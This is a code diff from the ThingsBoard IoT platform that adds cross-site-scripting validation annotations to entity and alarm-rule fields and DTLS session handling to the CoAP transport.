@@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | ||
34 | @Slf4j | 35 | @Slf4j |
35 | public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { | 36 | public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { |
36 | 37 | ||
38 | + @NoXss | ||
37 | private String name; | 39 | private String name; |
40 | + @NoXss | ||
38 | private String description; | 41 | private String description; |
39 | private boolean isDefault; | 42 | private boolean isDefault; |
40 | private boolean isolatedTbCore; | 43 | private boolean isolatedTbCore; |
@@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; | @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; | ||
24 | import org.thingsboard.server.common.data.id.UserId; | 24 | import org.thingsboard.server.common.data.id.UserId; |
25 | import org.thingsboard.server.common.data.security.Authority; | 25 | import org.thingsboard.server.common.data.security.Authority; |
26 | 26 | ||
27 | -import com.fasterxml.jackson.databind.JsonNode; | 27 | +import org.thingsboard.server.common.data.validation.NoXss; |
28 | 28 | ||
29 | @EqualsAndHashCode(callSuper = true) | 29 | @EqualsAndHashCode(callSuper = true) |
30 | public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { | 30 | public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { |
@@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H | @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H | ||
35 | private CustomerId customerId; | 35 | private CustomerId customerId; |
36 | private String email; | 36 | private String email; |
37 | private Authority authority; | 37 | private Authority authority; |
38 | + @NoXss | ||
38 | private String firstName; | 39 | private String firstName; |
40 | + @NoXss | ||
39 | private String lastName; | 41 | private String lastName; |
40 | 42 | ||
41 | public User() { | 43 | public User() { |
@@ -15,12 +15,15 @@ | @@ -15,12 +15,15 @@ | ||
15 | */ | 15 | */ |
16 | package org.thingsboard.server.common.data.asset; | 16 | package org.thingsboard.server.common.data.asset; |
17 | 17 | ||
18 | -import com.fasterxml.jackson.databind.JsonNode; | ||
19 | import lombok.EqualsAndHashCode; | 18 | import lombok.EqualsAndHashCode; |
20 | -import org.thingsboard.server.common.data.*; | 19 | +import org.thingsboard.server.common.data.HasCustomerId; |
20 | +import org.thingsboard.server.common.data.HasName; | ||
21 | +import org.thingsboard.server.common.data.HasTenantId; | ||
22 | +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | ||
21 | import org.thingsboard.server.common.data.id.AssetId; | 23 | import org.thingsboard.server.common.data.id.AssetId; |
22 | import org.thingsboard.server.common.data.id.CustomerId; | 24 | import org.thingsboard.server.common.data.id.CustomerId; |
23 | import org.thingsboard.server.common.data.id.TenantId; | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
24 | 27 | ||
25 | @EqualsAndHashCode(callSuper = true) | 28 | @EqualsAndHashCode(callSuper = true) |
26 | public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { | 29 | public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { |
@@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements | @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements | ||
29 | 32 | ||
30 | private TenantId tenantId; | 33 | private TenantId tenantId; |
31 | private CustomerId customerId; | 34 | private CustomerId customerId; |
35 | + @NoXss | ||
32 | private String name; | 36 | private String name; |
37 | + @NoXss | ||
33 | private String type; | 38 | private String type; |
39 | + @NoXss | ||
34 | private String label; | 40 | private String label; |
35 | 41 | ||
36 | public Asset() { | 42 | public Asset() { |
@@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; | @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; | ||
17 | 17 | ||
18 | import com.fasterxml.jackson.annotation.JsonIgnoreProperties; | 18 | import com.fasterxml.jackson.annotation.JsonIgnoreProperties; |
19 | import lombok.Data; | 19 | import lombok.Data; |
20 | -import org.thingsboard.server.common.data.query.KeyFilter; | ||
21 | 20 | ||
21 | +import javax.validation.Valid; | ||
22 | import java.util.List; | 22 | import java.util.List; |
23 | -import java.util.concurrent.TimeUnit; | ||
24 | 23 | ||
25 | @Data | 24 | @Data |
26 | @JsonIgnoreProperties(ignoreUnknown = true) | 25 | @JsonIgnoreProperties(ignoreUnknown = true) |
27 | public class AlarmCondition { | 26 | public class AlarmCondition { |
28 | 27 | ||
28 | + @Valid | ||
29 | private List<AlarmConditionFilter> condition; | 29 | private List<AlarmConditionFilter> condition; |
30 | private AlarmConditionSpec spec; | 30 | private AlarmConditionSpec spec; |
31 | 31 |
@@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; | @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | import org.thingsboard.server.common.data.query.EntityKeyValueType; | 19 | import org.thingsboard.server.common.data.query.EntityKeyValueType; |
20 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; | 20 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
22 | + | ||
23 | +import javax.validation.Valid; | ||
21 | 24 | ||
22 | @Data | 25 | @Data |
23 | public class AlarmConditionFilter { | 26 | public class AlarmConditionFilter { |
24 | 27 | ||
28 | + @Valid | ||
25 | private AlarmConditionFilterKey key; | 29 | private AlarmConditionFilterKey key; |
26 | private EntityKeyValueType valueType; | 30 | private EntityKeyValueType valueType; |
31 | + @NoXss | ||
27 | private Object value; | 32 | private Object value; |
33 | + @Valid | ||
28 | private KeyFilterPredicate predicate; | 34 | private KeyFilterPredicate predicate; |
29 | 35 | ||
30 | } | 36 | } |
@@ -16,11 +16,13 @@ | @@ -16,11 +16,13 @@ | ||
16 | package org.thingsboard.server.common.data.device.profile; | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
19 | 20 | ||
20 | @Data | 21 | @Data |
21 | public class AlarmConditionFilterKey { | 22 | public class AlarmConditionFilterKey { |
22 | 23 | ||
23 | private final AlarmConditionKeyType type; | 24 | private final AlarmConditionKeyType type; |
25 | + @NoXss | ||
24 | private final String key; | 26 | private final String key; |
25 | 27 | ||
26 | } | 28 | } |
@@ -16,13 +16,18 @@ | @@ -16,13 +16,18 @@ | ||
16 | package org.thingsboard.server.common.data.device.profile; | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
20 | + | ||
21 | +import javax.validation.Valid; | ||
19 | 22 | ||
20 | @Data | 23 | @Data |
21 | public class AlarmRule { | 24 | public class AlarmRule { |
22 | 25 | ||
26 | + @Valid | ||
23 | private AlarmCondition condition; | 27 | private AlarmCondition condition; |
24 | private AlarmSchedule schedule; | 28 | private AlarmSchedule schedule; |
25 | // Advanced | 29 | // Advanced |
30 | + @NoXss | ||
26 | private String alarmDetails; | 31 | private String alarmDetails; |
27 | 32 | ||
28 | } | 33 | } |
@@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; | @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; | ||
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | import org.thingsboard.server.common.data.alarm.AlarmSeverity; | 19 | import org.thingsboard.server.common.data.alarm.AlarmSeverity; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
20 | 21 | ||
22 | +import javax.validation.Valid; | ||
21 | import java.util.List; | 23 | import java.util.List; |
22 | import java.util.TreeMap; | 24 | import java.util.TreeMap; |
23 | 25 | ||
@@ -25,9 +27,12 @@ import java.util.TreeMap; | @@ -25,9 +27,12 @@ import java.util.TreeMap; | ||
25 | public class DeviceProfileAlarm { | 27 | public class DeviceProfileAlarm { |
26 | 28 | ||
27 | private String id; | 29 | private String id; |
30 | + @NoXss | ||
28 | private String alarmType; | 31 | private String alarmType; |
29 | 32 | ||
33 | + @Valid | ||
30 | private TreeMap<AlarmSeverity, AlarmRule> createRules; | 34 | private TreeMap<AlarmSeverity, AlarmRule> createRules; |
35 | + @Valid | ||
31 | private AlarmRule clearRule; | 36 | private AlarmRule clearRule; |
32 | 37 | ||
33 | // Hidden in advanced settings | 38 | // Hidden in advanced settings |
@@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; | @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; | ||
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | 19 | ||
20 | +import javax.validation.Valid; | ||
20 | import java.util.List; | 21 | import java.util.List; |
21 | 22 | ||
22 | @Data | 23 | @Data |
@@ -25,6 +26,7 @@ public class DeviceProfileData { | @@ -25,6 +26,7 @@ public class DeviceProfileData { | ||
25 | private DeviceProfileConfiguration configuration; | 26 | private DeviceProfileConfiguration configuration; |
26 | private DeviceProfileTransportConfiguration transportConfiguration; | 27 | private DeviceProfileTransportConfiguration transportConfiguration; |
27 | private DeviceProfileProvisionConfiguration provisionConfiguration; | 28 | private DeviceProfileProvisionConfiguration provisionConfiguration; |
29 | + @Valid | ||
28 | private List<DeviceProfileAlarm> alarms; | 30 | private List<DeviceProfileAlarm> alarms; |
29 | 31 | ||
30 | } | 32 | } |
@@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; | @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; | ||
18 | import com.fasterxml.jackson.annotation.JsonIgnore; | 18 | import com.fasterxml.jackson.annotation.JsonIgnore; |
19 | import lombok.Data; | 19 | import lombok.Data; |
20 | import lombok.RequiredArgsConstructor; | 20 | import lombok.RequiredArgsConstructor; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
21 | 22 | ||
22 | @Data | 23 | @Data |
23 | @RequiredArgsConstructor | 24 | @RequiredArgsConstructor |
@@ -27,6 +28,7 @@ public class DynamicValue<T> { | @@ -27,6 +28,7 @@ public class DynamicValue<T> { | ||
27 | private T resolvedValue; | 28 | private T resolvedValue; |
28 | 29 | ||
29 | private final DynamicValueSourceType sourceType; | 30 | private final DynamicValueSourceType sourceType; |
31 | + @NoXss | ||
30 | private final String sourceAttribute; | 32 | private final String sourceAttribute; |
31 | private final boolean inherit; | 33 | private final boolean inherit; |
32 | 34 |
@@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; | @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; | ||
20 | import com.fasterxml.jackson.annotation.JsonProperty; | 20 | import com.fasterxml.jackson.annotation.JsonProperty; |
21 | import lombok.Data; | 21 | import lombok.Data; |
22 | import lombok.Getter; | 22 | import lombok.Getter; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
24 | + | ||
25 | +import javax.validation.Valid; | ||
23 | 26 | ||
24 | @Data | 27 | @Data |
25 | public class FilterPredicateValue<T> { | 28 | public class FilterPredicateValue<T> { |
26 | 29 | ||
27 | @Getter | 30 | @Getter |
31 | + @NoXss | ||
28 | private final T defaultValue; | 32 | private final T defaultValue; |
29 | @Getter | 33 | @Getter |
34 | + @NoXss | ||
30 | private final T userValue; | 35 | private final T userValue; |
31 | @Getter | 36 | @Getter |
37 | + @Valid | ||
32 | private final DynamicValue<T> dynamicValue; | 38 | private final DynamicValue<T> dynamicValue; |
33 | 39 | ||
34 | public FilterPredicateValue(T defaultValue) { | 40 | public FilterPredicateValue(T defaultValue) { |
@@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; | @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; | ||
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | 19 | ||
20 | +import javax.validation.Valid; | ||
21 | + | ||
20 | @Data | 22 | @Data |
21 | public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { | 23 | public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { |
22 | 24 | ||
23 | private StringOperation operation; | 25 | private StringOperation operation; |
26 | + @Valid | ||
24 | private FilterPredicateValue<String> value; | 27 | private FilterPredicateValue<String> value; |
25 | private boolean ignoreCase; | 28 | private boolean ignoreCase; |
26 | 29 |
@@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | ||
26 | import org.thingsboard.server.common.data.id.RuleChainId; | 26 | import org.thingsboard.server.common.data.id.RuleChainId; |
27 | import org.thingsboard.server.common.data.id.RuleNodeId; | 27 | import org.thingsboard.server.common.data.id.RuleNodeId; |
28 | import org.thingsboard.server.common.data.id.TenantId; | 28 | import org.thingsboard.server.common.data.id.TenantId; |
29 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
29 | 30 | ||
30 | @Data | 31 | @Data |
31 | @EqualsAndHashCode(callSuper = true) | 32 | @EqualsAndHashCode(callSuper = true) |
@@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im | @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im | ||
35 | private static final long serialVersionUID = -5656679015121935465L; | 36 | private static final long serialVersionUID = -5656679015121935465L; |
36 | 37 | ||
37 | private TenantId tenantId; | 38 | private TenantId tenantId; |
39 | + @NoXss | ||
38 | private String name; | 40 | private String name; |
39 | private RuleNodeId firstRuleNodeId; | 41 | private RuleNodeId firstRuleNodeId; |
40 | private boolean root; | 42 | private boolean root; |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.common.data.validation; | ||
17 | + | ||
18 | +import javax.validation.Constraint; | ||
19 | +import javax.validation.Payload; | ||
20 | +import java.lang.annotation.ElementType; | ||
21 | +import java.lang.annotation.Retention; | ||
22 | +import java.lang.annotation.RetentionPolicy; | ||
23 | +import java.lang.annotation.Target; | ||
24 | + | ||
25 | +@Retention(RetentionPolicy.RUNTIME) | ||
26 | +@Target(ElementType.FIELD) | ||
27 | +@Constraint(validatedBy = {}) | ||
28 | +public @interface NoXss { | ||
29 | + String message() default "field value is malformed"; | ||
30 | + | ||
31 | + Class<?>[] groups() default {}; | ||
32 | + | ||
33 | + Class<? extends Payload>[] payload() default {}; | ||
34 | +} |
@@ -45,6 +45,10 @@ | @@ -45,6 +45,10 @@ | ||
45 | <artifactId>californium-core</artifactId> | 45 | <artifactId>californium-core</artifactId> |
46 | </dependency> | 46 | </dependency> |
47 | <dependency> | 47 | <dependency> |
48 | + <groupId>org.eclipse.californium</groupId> | ||
49 | + <artifactId>scandium</artifactId> | ||
50 | + </dependency> | ||
51 | + <dependency> | ||
48 | <groupId>org.springframework</groupId> | 52 | <groupId>org.springframework</groupId> |
49 | <artifactId>spring-context-support</artifactId> | 53 | <artifactId>spring-context-support</artifactId> |
50 | </dependency> | 54 | </dependency> |
@@ -48,6 +48,10 @@ public class CoapTransportContext extends TransportContext { | @@ -48,6 +48,10 @@ public class CoapTransportContext extends TransportContext { | ||
48 | private Long timeout; | 48 | private Long timeout; |
49 | 49 | ||
50 | @Getter | 50 | @Getter |
51 | + @Autowired(required = false) | ||
52 | + private TbCoapDtlsSettings dtlsSettings; | ||
53 | + | ||
54 | + @Getter | ||
51 | @Autowired | 55 | @Autowired |
52 | private JsonCoapAdaptor jsonCoapAdaptor; | 56 | private JsonCoapAdaptor jsonCoapAdaptor; |
53 | 57 |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportResource.java
@@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation; | @@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation; | ||
27 | import org.eclipse.californium.core.server.resources.CoapExchange; | 27 | import org.eclipse.californium.core.server.resources.CoapExchange; |
28 | import org.eclipse.californium.core.server.resources.Resource; | 28 | import org.eclipse.californium.core.server.resources.Resource; |
29 | import org.eclipse.californium.core.server.resources.ResourceObserver; | 29 | import org.eclipse.californium.core.server.resources.ResourceObserver; |
30 | +import org.springframework.util.StringUtils; | ||
30 | import org.thingsboard.server.common.data.DataConstants; | 31 | import org.thingsboard.server.common.data.DataConstants; |
31 | import org.thingsboard.server.common.data.DeviceProfile; | 32 | import org.thingsboard.server.common.data.DeviceProfile; |
32 | import org.thingsboard.server.common.data.DeviceTransportType; | 33 | import org.thingsboard.server.common.data.DeviceTransportType; |
@@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | @@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | ||
63 | private static final int FEATURE_TYPE_POSITION = 4; | 64 | private static final int FEATURE_TYPE_POSITION = 4; |
64 | private static final int REQUEST_ID_POSITION = 5; | 65 | private static final int REQUEST_ID_POSITION = 5; |
65 | 66 | ||
67 | + private static final int FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST = 3; | ||
68 | + private static final int REQUEST_ID_POSITION_CERTIFICATE_REQUEST = 4; | ||
69 | + private static final String DTLS_SESSION_ID_KEY = "DTLS_SESSION_ID"; | ||
70 | + | ||
66 | private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>(); | 71 | private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>(); |
67 | private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>(); | 72 | private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>(); |
68 | private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet(); | 73 | private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet(); |
69 | private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet(); | 74 | private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet(); |
70 | 75 | ||
71 | - public CoapTransportResource(CoapTransportContext coapTransportContext, String name) { | 76 | + private ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap; |
77 | + | ||
78 | + public CoapTransportResource(CoapTransportContext coapTransportContext, ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap, String name) { | ||
72 | super(coapTransportContext, name); | 79 | super(coapTransportContext, name); |
73 | this.setObservable(true); // enable observing | 80 | this.setObservable(true); // enable observing |
74 | this.addObserver(new CoapResourceObserver()); | 81 | this.addObserver(new CoapResourceObserver()); |
82 | + this.dtlsSessionIdMap = dtlsSessionIdMap; | ||
75 | // this.setObservable(false); // disable observing | 83 | // this.setObservable(false); // disable observing |
76 | // this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs | 84 | // this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs |
77 | // this.getAttributes().setObservable(); // mark observable in the Link-Format | 85 | // this.getAttributes().setObservable(); // mark observable in the Link-Format |
@@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | @@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | ||
187 | Exchange advanced = exchange.advanced(); | 195 | Exchange advanced = exchange.advanced(); |
188 | Request request = advanced.getRequest(); | 196 | Request request = advanced.getRequest(); |
189 | 197 | ||
198 | + String dtlsSessionIdStr = request.getSourceContext().get(DTLS_SESSION_ID_KEY); | ||
199 | + if (!StringUtils.isEmpty(dtlsSessionIdStr)) { | ||
200 | + if (dtlsSessionIdMap != null) { | ||
201 | + TbCoapDtlsSessionInfo tbCoapDtlsSessionInfo = dtlsSessionIdMap | ||
202 | + .computeIfPresent(dtlsSessionIdStr, (dtlsSessionId, dtlsSessionInfo) -> { | ||
203 | + dtlsSessionInfo.setLastActivityTime(System.currentTimeMillis()); | ||
204 | + return dtlsSessionInfo; | ||
205 | + }); | ||
206 | + if (tbCoapDtlsSessionInfo != null) { | ||
207 | + processRequest(exchange, type, request, tbCoapDtlsSessionInfo.getSessionInfoProto(), tbCoapDtlsSessionInfo.getDeviceProfile()); | ||
208 | + } else { | ||
209 | + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED); | ||
210 | + } | ||
211 | + } else { | ||
212 | + processAccessTokenRequest(exchange, type, request); | ||
213 | + } | ||
214 | + } else { | ||
215 | + processAccessTokenRequest(exchange, type, request); | ||
216 | + } | ||
217 | + } | ||
218 | + | ||
219 | + private void processAccessTokenRequest(CoapExchange exchange, SessionMsgType type, Request request) { | ||
190 | Optional<DeviceTokenCredentials> credentials = decodeCredentials(request); | 220 | Optional<DeviceTokenCredentials> credentials = decodeCredentials(request); |
191 | if (credentials.isEmpty()) { | 221 | if (credentials.isEmpty()) { |
192 | - exchange.respond(CoAP.ResponseCode.BAD_REQUEST); | 222 | + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED); |
193 | return; | 223 | return; |
194 | } | 224 | } |
195 | - | ||
196 | transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(), | 225 | transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(), |
197 | new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> { | 226 | new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> { |
198 | - UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB()); | ||
199 | - try { | ||
200 | - TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile); | ||
201 | - CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload()); | ||
202 | - switch (type) { | ||
203 | - case POST_ATTRIBUTES_REQUEST: | ||
204 | - transportService.process(sessionInfo, | ||
205 | - coapTransportAdaptor.convertToPostAttributes(sessionId, request, | ||
206 | - transportConfigurationContainer.getAttributesMsgDescriptor()), | ||
207 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
208 | - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | ||
209 | - break; | ||
210 | - case POST_TELEMETRY_REQUEST: | ||
211 | - transportService.process(sessionInfo, | ||
212 | - coapTransportAdaptor.convertToPostTelemetry(sessionId, request, | ||
213 | - transportConfigurationContainer.getTelemetryMsgDescriptor()), | ||
214 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
215 | - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | ||
216 | - break; | ||
217 | - case CLAIM_REQUEST: | ||
218 | - transportService.process(sessionInfo, | ||
219 | - coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo), | ||
220 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
221 | - break; | ||
222 | - case SUBSCRIBE_ATTRIBUTES_REQUEST: | ||
223 | - TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | ||
224 | - if (currentAttrSession == null) { | ||
225 | - attributeSubscriptions.add(sessionId); | ||
226 | - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | ||
227 | - transportService.process(sessionInfo, | ||
228 | - TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange)); | ||
229 | - } | ||
230 | - break; | ||
231 | - case UNSUBSCRIBE_ATTRIBUTES_REQUEST: | ||
232 | - TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | ||
233 | - if (attrSession != null) { | ||
234 | - UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB()); | ||
235 | - attributeSubscriptions.remove(attrSessionId); | ||
236 | - transportService.process(attrSession, | ||
237 | - TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(), | ||
238 | - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
239 | - closeAndDeregister(sessionInfo, sessionId); | ||
240 | - } | ||
241 | - break; | ||
242 | - case SUBSCRIBE_RPC_COMMANDS_REQUEST: | ||
243 | - TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | ||
244 | - if (currentRpcSession == null) { | ||
245 | - rpcSubscriptions.add(sessionId); | ||
246 | - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | ||
247 | - transportService.process(sessionInfo, | ||
248 | - TransportProtos.SubscribeToRPCMsg.getDefaultInstance(), | ||
249 | - new CoapNoOpCallback(exchange)); | ||
250 | - } else { | ||
251 | - UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB()); | ||
252 | - reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId)); | ||
253 | - } | ||
254 | - break; | ||
255 | - case UNSUBSCRIBE_RPC_COMMANDS_REQUEST: | ||
256 | - TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | ||
257 | - if (rpcSession != null) { | ||
258 | - UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB()); | ||
259 | - rpcSubscriptions.remove(rpcSessionId); | ||
260 | - transportService.process(rpcSession, | ||
261 | - TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(), | ||
262 | - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
263 | - closeAndDeregister(sessionInfo, sessionId); | ||
264 | - } | ||
265 | - break; | ||
266 | - case TO_DEVICE_RPC_RESPONSE: | ||
267 | - transportService.process(sessionInfo, | ||
268 | - coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request), | ||
269 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
270 | - break; | ||
271 | - case TO_SERVER_RPC_REQUEST: | ||
272 | - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | ||
273 | - transportService.process(sessionInfo, | ||
274 | - coapTransportAdaptor.convertToServerRpcRequest(sessionId, request), | ||
275 | - new CoapNoOpCallback(exchange)); | ||
276 | - break; | ||
277 | - case GET_ATTRIBUTES_REQUEST: | ||
278 | - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | ||
279 | - transportService.process(sessionInfo, | ||
280 | - coapTransportAdaptor.convertToGetAttributes(sessionId, request), | ||
281 | - new CoapNoOpCallback(exchange)); | ||
282 | - break; | ||
283 | - } | ||
284 | - } catch (AdaptorException e) { | ||
285 | - log.trace("[{}] Failed to decode message: ", sessionId, e); | ||
286 | - exchange.respond(CoAP.ResponseCode.BAD_REQUEST); | ||
287 | - } | 227 | + processRequest(exchange, type, request, sessionInfo, deviceProfile); |
288 | })); | 228 | })); |
289 | } | 229 | } |
290 | 230 | ||
231 | + private void processRequest(CoapExchange exchange, SessionMsgType type, Request request, TransportProtos.SessionInfoProto sessionInfo, DeviceProfile deviceProfile) { | ||
232 | + UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB()); | ||
233 | + try { | ||
234 | + TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile); | ||
235 | + CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload()); | ||
236 | + switch (type) { | ||
237 | + case POST_ATTRIBUTES_REQUEST: | ||
238 | + transportService.process(sessionInfo, | ||
239 | + coapTransportAdaptor.convertToPostAttributes(sessionId, request, | ||
240 | + transportConfigurationContainer.getAttributesMsgDescriptor()), | ||
241 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
242 | + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | ||
243 | + break; | ||
244 | + case POST_TELEMETRY_REQUEST: | ||
